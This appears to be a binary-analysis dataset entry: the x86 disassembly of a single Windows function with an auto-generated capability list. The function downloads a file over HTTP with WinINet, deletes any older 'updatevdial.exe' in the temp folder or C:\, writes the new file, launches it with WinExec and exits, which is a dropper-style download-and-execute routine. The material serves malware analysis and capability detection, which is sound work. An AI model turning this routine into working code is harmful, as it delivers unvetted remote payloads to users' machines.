Function at 0x40aad0
Capabilities:
Connect to http server
Create http request
Create process on windows
Delete file
Get common file path
Get file attributes
Read data from internet
Receive data
Send data
Send http request
Set file attributes
Terminate process

Disassembly:
mov eax, 0x2814
call fcn.004131c0
mov eax, dword [0x41fb24]
push ebx
push ebp
push esi
mov ebp, ecx
push edi
mov dword [esp + 0x24], eax
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x28]
mov edx, dword [0x41fb18]
xor ebx, ebx
rep stosd dword es:[edi], eax
mov ecx, dword [str.updatevdial.exe]
mov eax, dword [0x41fb1c]
mov dword [esp + 0x424], ecx
mov ecx, dword [0x41fb20]
mov dword [esp + 0x42c], eax
mov dword [esp + 0x430], ecx
mov ecx, 0xfc
xor eax, eax
lea edi, [esp + 0x434]
mov dword [esp + 0x428], edx
rep stosd dword es:[edi], eax
mov al, byte [0x42169f]
test al, al
je 0x40ab5e
push 0x42169f
lea edx, [esp + 0x428]
push str._s_updatevdial.exe
push edx
call fcn.004131ef
add esp, 0xc
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov eax, dword [0x42169b]
lea ecx, [esp + 0x10]
push eax
push ecx
mov ecx, ebp
mov dword [esp + 0x20], esi
call fcn.0040a4b0
mov eax, dword [eax]
push 0
push 0
push 3
push 0
push 0
push 0x50
push eax
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ecx, dword [0x41f0cc]
mov esi, eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x14], esi
lea edx, [eax - 0xc]
cmp edx, ecx
je 0x40abd1
add eax, 0xfffffff4
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jg 0x40abd1
mov eax, dword [esp + 0x10]
add eax, 0xfffffff4
push eax
call fcn.00412b8c
add esp, 4
push 0
lea ecx, [esp + 0x20]
push closesocket
push ecx
push 0
lea edx, [esp + 0x434]
push str.HTTP_1.0
push edx
push 0
push esi
mov dword [esp + 0x3c], 0x41faf0
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
push 0
push 0
mov ebp, eax
push 0
push 0
push ebp
call dword [sym.imp.WININET.dll_HttpSendRequestA]
mov esi, eax
test esi, esi
je 0x40aceb
lea eax, [esp + 0x24]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, str.updatevdial.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x24]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and al, 0xfe
lea ecx, [esp + 0x24]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x180
lea eax, [esp + 0x28]
push 0x8301
push eax
call fcn.0041aa76
mov ebx, eax
add esp, 0xc
test ebx, ebx
jg 0x40ad2d
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x24]
lea edx, [esp + 0x24]
rep stosd dword es:[edi], eax
mov edi, str.c:_updatevdial.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x180
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x8301
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x2c]
push ecx
call fcn.0041aa76
mov ebx, eax
add esp, 0xc
test ebx, ebx
jg 0x40ad2d
xor esi, esi
push ebx
call fcn.0041a8e7
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 4
push ebp
call edi
mov edx, dword [esp + 0x14]
push edx
call edi
mov eax, dword [esp + 0x18]
push eax
call edi
pop edi
test esi, esi
pop esi
pop ebp
pop ebx
je 0x40ad6a
lea ecx, [esp + 0x14]
push 5
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x1f
jbe 0x40ad6a
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea edx, [esp + 0x20]
lea eax, [esp + 0x824]
push edx
push 0x2000
push eax
push ebp
call edi
mov esi, eax
test esi, esi
je 0x40aceb
mov eax, dword [esp + 0x20]
test eax, eax
je 0x40aceb
lea ecx, [esp + 0x824]
push eax
push ecx
push ebx
call fcn.00417fde
add esp, 0xc
jmp 0x40ad33
xor al, al
add esp, 0x2814
ret